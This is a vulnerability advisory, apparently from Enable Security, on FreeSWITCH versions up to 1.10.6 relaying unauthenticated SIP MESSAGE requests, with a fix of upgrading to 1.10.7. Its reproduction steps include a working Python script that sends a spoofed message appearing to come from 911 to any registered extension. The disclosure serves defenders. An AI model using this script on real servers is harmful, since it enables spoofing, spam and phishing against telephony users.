Description

By default, SIP requests of the type MESSAGE (RFC 3428) are not authenticated in the affected versions of FreeSWITCH. MESSAGE requests are relayed to SIP user agents registered with the FreeSWITCH server without requiring any authentication. Although this behaviour can be changed by setting the auth-messages parameter to true, it is not the default setting.

Impact

Abuse of this security issue allows attackers to send SIP MESSAGE messages to any SIP user agent that is registered with the server without requiring authentication. Additionally, since no authentication is required, chat messages can be spoofed to appear to come from trusted entities. Therefore, abuse can lead to spam and enable social engineering, phishing and similar attacks.

We are issuing this advisory because, in the course of our work, we have noticed that most FreeSWITCH installations that are exposed to the Internet do not authenticate MESSAGE requests.

How to reproduce the issue

1. Install FreeSWITCH v1.10.6 or lower
2. Run FreeSWITCH using the default configuration
3. Register as a legitimate SIP user with the FreeSWITCH server (e.g. sip:[email protected] where 192.168.1.100 is your FreeSWITCH server) using a softphone that can process MESSAGE (such as Zoiper)
4. Save the below Python script to anon-message.py
5. Run the Python script python anon-message.py <freeswitch_ip> <target_extension>
6. Observe the SIP message appear on your softphone, pretending to be from 911

import sys, socket, random, string

UDP_IP = sys.argv[1]
UDP_PORT = 5060
ext = sys.argv[2]
rand = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
msg="MESSAGE sip:%s@%s SIP/2.0\r\n" % (ext, UDP_IP)
msg+="Via: SIP/2.0/UDP 192.168.1.159:46896;rport;branch=z9hG4bK-%s\r\n" % rand
msg+="Max-Forwards: 70\r\n"
msg+="From: 911 <sip:911@%s>;tag=%s\r\n" %(UDP_IP, rand)
msg+="To: <sip:%s@%s>\r\n" %(ext, UDP_IP)
msg+="Call-ID: %s\r\n" % rand
msg+="CSeq: 1 MESSAGE\r\n"
msg+="Contact: <sip:[email protected]:48760;transport=udp>\r\n"
msg+="Content-Type: text/plain\r\n"
msg+="Content-Length: 5\r\n\r\n"
msg+="hello"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))

Solution and recommendations

Update to FreeSWITCH version >= 1.10.7

Credit: Enable Security

Enable Security develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.